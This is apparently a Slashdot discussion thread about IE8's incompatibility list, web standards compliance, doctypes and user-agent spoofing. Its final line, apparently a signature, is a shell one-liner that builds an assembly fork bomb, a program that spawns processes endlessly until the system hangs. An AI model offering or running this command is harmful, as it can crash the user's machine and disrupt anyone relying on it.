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Microsoft.com Makes IE8 Incompatibility List
nickull writes "Microsoft is tracking incompatible Web sites for its upcoming Internet Explorer 8 browser and has posted a list that now contains about 2,400 names — including Microsoft.com. Apparently, even though Microsoft's IE8 team is doing the 'right' thing by finally making IE more standards-compliant, they are risking 'breaking the Web' because the vast majority of Web sites are still written to work correctly with previous, non-standards-compliant versions of IE."
I don't get it. Why is everyone so surprised by this? Microsoft has been the biggest consumer of their own non-standard web technologies in both an effort to tie services to Windows and to convince other web developers to use their 'neato' technologies.
Has no one ever noticed that Microsoft.com had various effects, direct system access, and other features not found anywhere else on the web? Or that Windows Update only worked through Internet Explorer? Microsoft WANTS to be as non-standard as possible. And if you don't believe me, check out this wonderful document penned by none other than Bill Gates himself:
Javascript + Nintendo DSi = DSiCade
About ten years ago, as Web-1.0 was beginning, I decided to learn to write HTML for a personal website. At that time, MS released a beta program (I forget its name) to automate HTML authoring and I signed up, downloaded and installed it. Then I found its output while great for IE, did not render pages well in Netscape or even Opera. So I uninstalled it and wrote with WordPerfect-7, correcting the code by hand.
Some weeks later, MS emailed me (the beta program, of course, required registration with an email address) with a special offer: a free year-long subscription to an upcoming MS magazine if I would document my use of a feature on my home web page that worked under IE but not under Netscape -- that is, I would get a worthless pile of MS propaganda every month if I would break web standards to the benefit of IE.
It was always MS' plan to dominate ("embrace and extend" was what is was called then) the internet.
I believe if there was one event that caused them to change their minds and become web-standard compliant it was their losing fight with the EU monopoly courts and their punishment: to become standards-compliant with respect to APIs, networking and, apparently, at least in MS' mind, the internet as well.
Perhpas MS could take a feature from the Opera browser -- user agent spoofing, and let IE-8 users impersonate another brand so they can view standards-compliant sites as the designer intended them to be seen.
http://validator.w3.org/check?uri=http://www.google.com/&charset=(detect+automatically)&doctype=Inline&group=0
Just install IE Tab on your Windows FF and be done with it.
The problem is that many sites will check if the browser is IE, and then do various workarounds. So Microsoft is stuck: they can fix the browser, but then the sites have to be modified to say (if browser is IE, but version 7 then do the hack)
I think the only good workaround would be for Microsoft to change their user/agent string so it reports itself as Firefox :)
I've checked the main page at a few of them including:
tom.com
qq.com
mozilla.com
google.com
wikipedia.org
They seem to either:
1) Fail w3c [x]html standards
2) Fail w3c css standards
Google's rarely been standards compliant, failing to publish doctypes. Even if they did, many of their pages are built with javascript which do not create w3c-valid documents either. (But that goes for most javascript toolkits.)
Mozilla uses several "-moz" prefixed CSS attributes that are not w3c either. Even Wikipedia has a minor CSS error.
Comparing websites to a standard depends on the standard. Microsoft doesn't have to write or test IE8 to the W3C's standards, but it would be great if they did. How many of the mainstream browsers even pass the ACID tests (v2 & 3)?
I think that microsoft.com being on the list shows a changing side to Microsoft. They may never be the friend of free and open source software, but everyone would appreciate Microsoft adhering to an open and popular standard. Of course they will always have their own quirks and extras beyond any standard, but raw web development could become pleasant again.
MSIE need to change it's UserAgent ID and CC-rules. Name themselves something new and be done with that. Simple as that.
Quick way to get 30% Funny 70% Troll: defend Opera browser on
Actually, Google isn't as simple as you think. Example: view one of the images (on the results page, not the homepage). The Google logo or one of the arrows or something. They are all this same image: http://www.google.com/images/nav_logo4.png How do you think they get all those different images while only loading one image? The simplicity is simple, but there is tons of really complicated stuff going on on the Google front end.
For starters, no !DOCTYPE.
It does have a doctype: {!doctype html}
It may look unfamiliar to you because that's the HTML 5 doctype.
I believe that's exactly what they're doing, you will be able to add a tag to your website to use a compatibility mode which is supposed to fix pages that don't work correctly in IE8.
So no one setup the GPOs to have Office 2007 save in "compatible mode" by default?
That reminds me of this article on CSS sprites
http://www.websiteoptimization.com/speed/tweak/css-sprites/
The idea is that you groupt a bunch of small images into one large one and use background-position to select the right one.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;